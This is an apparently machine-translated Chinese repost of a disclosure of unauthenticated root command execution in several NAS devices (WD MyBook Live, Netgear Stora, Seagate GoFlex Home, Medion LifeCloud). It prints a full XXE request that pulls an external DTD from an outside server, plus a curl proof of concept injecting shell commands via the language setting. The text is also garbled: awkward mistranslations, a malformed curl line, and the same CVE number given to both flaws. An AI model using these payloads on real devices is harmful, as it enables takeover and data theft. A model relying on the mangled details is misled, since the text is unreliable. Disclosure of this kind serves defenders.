多款NAS设备发现高危严重漏洞 数据泄密迫在眉睫(含POC)

  • A+
所属分类:网络安全文章

多款NAS设备发现高危严重漏洞 数据泄密迫在眉睫(含POC)

CE安全网在WDMyBook,NetGearStora,SeaGateHome,MedionLifeCloudNAS等NAS设备发现了高危漏洞

NAS设备已成为许多中小型企业(SMB)的首选存储设备。它们价格低廉,易于操作,如果空间不足,您可以添加额外的存储空间。但它足以保护您的公司数据吗?当我们带来安全研究人员PaulosYibelo和DanielEshetu看看他们是否可以利用领先的NAS设备中的任何漏洞时,我们就会想到这个问题。

我们专注于发现只能在没有任何用户交互的情况下远程利用的关键漏洞。意思是,认证旁路是不够的。我们希望以最高权限远程执行设备上的命令。我们在所有设备上都取得了成功。

我们的研究结果摘要
我们在这个项目中使用了四种流行的NAS设备

WDMyBook,

NetGearStora

SeaGateHome

MedionLifeCloudNAS

我们通过了解其IP地址,成功地在设备中获得了根远程命令执行,从而实现了它们所在的网络。

测试的所有四个NAS设备都遭受零日未经身份验证的根远程命令执行(preauthRCE)漏洞。
这些漏洞允许黑客,政府或任何有恶意的人阅读文件,添加/删除用户,添加/修改现有数据或在所有设备上执行具有最高权限的命令。

我们认为,还有许多其他NAS设备遭受类似的漏洞,因为NAS设备似乎缺少预期的模式。

这两个漏洞(称为CVE-2018-18472和CVE-2018-18471)仍未修补。

在线有近200万受影响的设备

CVE-2018-18472-AxentraHipservNAS固件中的XXE和未经认证的远程命令执行。

AxentraHipserv是一款运行在多个设备上的NAS操作系统,可为不同设备提供基于云的登录和文件存储和管理功能。它用于不同供应商的不同设备,共享固件的受影响设备是:

NetgearStora

希捷GoFlexHome

MedionLifeCloud等

该公司提供的固件具有主要使用PHP作为服务器端语言的Web界面。该Web界面有一个RESTAPI端点,并用文件管理器支持一个典型的Web管理界面。

固件分析。

解压缩固件并解码文件后,php文件位于/var/www/html/中,webroot位于/var/www/html/html中。Web界面的主处理器是homebase.php和RESTAPIController.php是其余API的主处理器。所有的php文件都是使用IONCube加密的,IONCube有一个已知的公共解码器,并且鉴于使用的版本是旧版本,解码文件不需要很长时间。

第一部分:XXE

解码文件后,无需身份验证即无法访问大多数API端点和Web界面。其中一个例外是RESTAPI接口中的一些端点。其中一个端点位于/api/2.0/rest/aggregator/xml,它从POST数据加载xml数据,尽管它使用DOMDocument来加载(解析)不应受到XXE攻击的xml。

用作固件后端的libxml2版本是旧版本。这意味着默认情况下未禁用外部实体加载。这打开了端点以进行开发。通过这种方式,可以读取文件并执行SSRF攻击。下面给出了一个示例请求

  1. POST /api/2.0/rest/aggregator/xml HTTP/1.1
  2. Host: www.cesafe.com
  3. User-Agent: GoogleBot/2.0
  4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  5. Accept-Language: en-US,en;q=0.5
  6. Content-Type: application/x-www-form-urlencoded
  7. Content-Length: 246
  8. Cookie: HOMEBASEID=c4be432f8add72db591aaa72c0fbbd34
  9. Connection: close
  10. Upgrade-Insecure-Requests: 1
  11. <?xml version=”1.0″?>
  12. <!DOCTYPE requests [
  13. <!ELEMENT request (#PCDATA)>
  14. <!ENTITY % dtd SYSTEM “http://www.cesafe.com/XXE_CHECK”>
  15. %dtd;
  16. ]>
  17. <requests>
  18. <request href=”/api/2.0/rest/3rdparty/facebook/” method=”GET”></request>
  19. </requests>

上述请求导致xml解析器向我们的服务器发出请求,请求192.168.56.1文件XXE_CHECK。虽然LFI很有意抓取一些敏感文件,因为XML无法处理二进制数据,因此无法转储SQLite数据库来获取用户名和密码。

这意味着我们能够在以下任何设备中读取文件并发出SSRF请求。

NetgearStora

希捷GoFlexHome

MedionLifeCloud

第二部分:RCE

查看Web界面(特别是RESTAPI)如何执行根操作是下一步。由于Web服务器以非root用户身份运行且没有sudo权限,因此发现RESTAPI调用名为oe-spd的本地守护程序,该守护程序在绑定到127.0.0.1的端口2000上运行。

守护进程获取XML数据,解析请求并执行操作而不进行任何身份验证,除了确保请求来自127.0.0.1。更重要的是,守护进程跳过垃圾数据,直到找到字符串<?xmlversion=1.0?>,如下面的IDA代码段所示。

这使事情变得更容易,因为请求将使用HTTP协议发送,跳过垃圾数据(根据守护程序)是一个真正的帮助。但是,由于我们不能直接将URL放在xml文件中,我们使xml解析器向php脚本(或任何真正重定向的脚本)发送请求,将其重定向到http://127.0.0.1:2000/a.php?d=*payload*。

把它们放在一起。
为了无缝地链接漏洞,我们需要一个服务器,设备可以与之建立出站连接,以及以下简单的PHP脚本,以重定向解析器以发送有效负载并处理少量多阶段的有效负载。

CVE-2018-18472-WDMyBookLive未经身份验证的远程命令执行
WDMyBookLive和某些型号的WDMyCloudNAS包含一个可远程利用的漏洞,允许任何人以root用户身份在设备上运行命令。该漏洞存在于语言更改中并修改了RESTAPI中的功能,以下PoC演示了此漏洞。

由于守护进程充满了命令执行错误,因此很容易制定一个触发请求的请求。此外,由于守护程序以root权限运行,因此可以在设备上执行任何操作。下面给出了示例有效载荷。

PoC

  1. curl - kX PUT -d'language = en_US` <linx Command Here>`'https://www.cesafe.com/api/1.0/rest/language_configuration

这对受影响的NAS用户意味着什么?

如果您使用上述设备之一且已在WAN上连接,请务必从互联网上删除您的设备。(确保它们仅在安全网络中本地运行)

我们还建议您使用VPN来保护您的计算机和移动设备免受黑客攻击。ExpressVPN和NordVPN都使用AES256位加密,并将保护您的所有数据。(这不会保护免受NAS攻击,但它会保护您免受其他网络攻击)

  • CE安全网微信群
  • weinxin
  • CE安全网QQ群
  • weinxin
CE安全网

网络安全宣传推广

发表评论

您必须登录才能发表评论!